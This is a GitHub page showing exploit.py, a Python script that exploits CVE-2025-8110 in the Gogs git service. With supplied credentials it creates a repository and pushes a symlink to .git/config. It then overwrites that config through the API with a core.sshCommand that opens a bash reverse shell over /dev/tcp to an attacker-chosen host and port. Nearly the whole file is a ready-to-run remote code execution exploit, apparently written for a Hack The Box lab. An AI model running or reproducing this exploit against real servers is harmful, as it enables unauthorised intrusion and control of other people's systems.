-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
142 lines (115 loc) · 5.17 KB
/
exploit.py
File metadata and controls
142 lines (115 loc) · 5.17 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#!/usr/bin/env python3
import argparse
import requests
import os
import subprocess
import shutil
import urllib3
import base64
from urllib.parse import urlparse
from rich.console import Console
# Settings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
console = Console()
"""
Exploit script for CVE-2025-8110 in Gogs.
Identity-fix for Target machine.
"""
__author__ = "TYehan"
def create_malicious_repo(session, base_url, token):
"""Create a repository with a malicious payload."""
api = f"{base_url}/api/v1/user/repos"
repository_name = os.urandom(6).hex()
data = {
"name": repository_name,
"description": "Exploit repo for CVE-2025-8110",
"auto_init": True,
"readme": "Default",
"ssh": True,
}
session.headers.update({"Authorization": f"token {token}"})
resp = session.post(api, json=data)
if resp.status_code == 201:
console.print(f"[bold green][+] Repo created: {repository_name}[/bold green]")
return repository_name
else:
raise ValueError(f"Failed to create repo: {resp.status_code} - {resp.text}")
def upload_malicious_symlink(base_url, username, password, repo_name):
"""Clone repo, add symlink to .git/config, and push."""
repo_dir = f"/tmp/{repo_name}"
parsed_url = urlparse(base_url)
base_path = parsed_url.path.rstrip("/")
clone_url = f"{parsed_url.scheme}://{username}:{password}@{parsed_url.netloc}{base_path}/{username}/{repo_name}.git"
try:
if os.path.exists(repo_dir):
shutil.rmtree(repo_dir)
console.print(f"[blue][*] Cloning {repo_name} as {username}...[/blue]")
subprocess.run(["git", "clone", clone_url, repo_dir], check=True, capture_output=True)
# SET LOCAL IDENTITY TO BYPASS THE EXIT 128 ERROR
subprocess.run(["git", "config", "user.email", "tyehan@htb.local"], cwd=repo_dir, check=True)
subprocess.run(["git", "config", "user.name", "TYehan"], cwd=repo_dir, check=True)
# Create symlink
os.symlink(".git/config", os.path.join(repo_dir, "malicious_link"))
subprocess.run(["git", "add", "malicious_link"], cwd=repo_dir, check=True)
subprocess.run(["git", "commit", "-m", "Initial commit"], cwd=repo_dir, check=True)
subprocess.run(["git", "push", "origin", "master"], cwd=repo_dir, check=True)
console.print("[bold green][+] Symlink successfully pushed to master.[/bold green]")
except subprocess.CalledProcessError as e:
error_msg = e.stderr.decode() if e.stderr else str(e)
raise ValueError(f"Git command failed: {error_msg}")
def exploit(session, base_url, token, username, repo_name, config_payload):
"""Trigger CVE-2025-8110 by overwriting the symlink via API."""
api = f"{base_url}/api/v1/repos/{username}/{repo_name}/contents/malicious_link"
resp = session.get(api)
if resp.status_code != 200:
raise ValueError(f"Could not fetch symlink SHA: {resp.status_code}")
sha = resp.json().get('sha')
data = {
"message": "Update config via CVE-2025-8110",
"content": base64.b64encode(config_payload.encode()).decode(),
"sha": sha
}
headers = {
"Authorization": f"token {token}",
"Content-Type": "application/json",
}
console.print("[yellow][*] Overwriting .git/config via symlink API...[/yellow]")
r = session.put(api, json=data, headers=headers, timeout=10)
if r.status_code in [200, 201]:
console.print("[bold green][+] Exploit payload delivered![/bold green]")
else:
console.print(f"[bold red][-] Failed to overwrite: {r.status_code} - {r.text}[/bold red]")
def main():
parser = argparse.ArgumentParser(description="Gogs CVE-2025-8110 Exploit")
parser.add_argument("-u", "--url", required=True, help="Gogs base URL")
parser.add_argument("-un", "--username", required=True, help="Gogs Username")
parser.add_argument("-pw", "--password", required=True, help="Gogs Password")
parser.add_argument("-t", "--token", required=True, help="Gogs API Token")
parser.add_argument("-lh", "--host", required=True, help="LHOST")
parser.add_argument("-lp", "--port", required=True, help="LPORT")
args = parser.parse_args()
session = requests.Session()
session.verify = False
rev_shell = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #"
git_config_payload = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
sshCommand = {rev_shell}
[remote "origin"]
url = git@localhost:gogs/research.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
"""
try:
repo_name = create_malicious_repo(session, args.url, args.token)
upload_malicious_symlink(args.url, args.username, args.password, repo_name)
exploit(session, args.url, args.token, args.username, repo_name, git_config_payload)
console.print(f"[bold cyan][!] Payload active. Check your listener on {args.host}:{args.port}![/bold cyan]")
except Exception as e:
console.print(f"[bold red][-] Error: {e}[/bold red]")
if __name__ == "__main__":
main()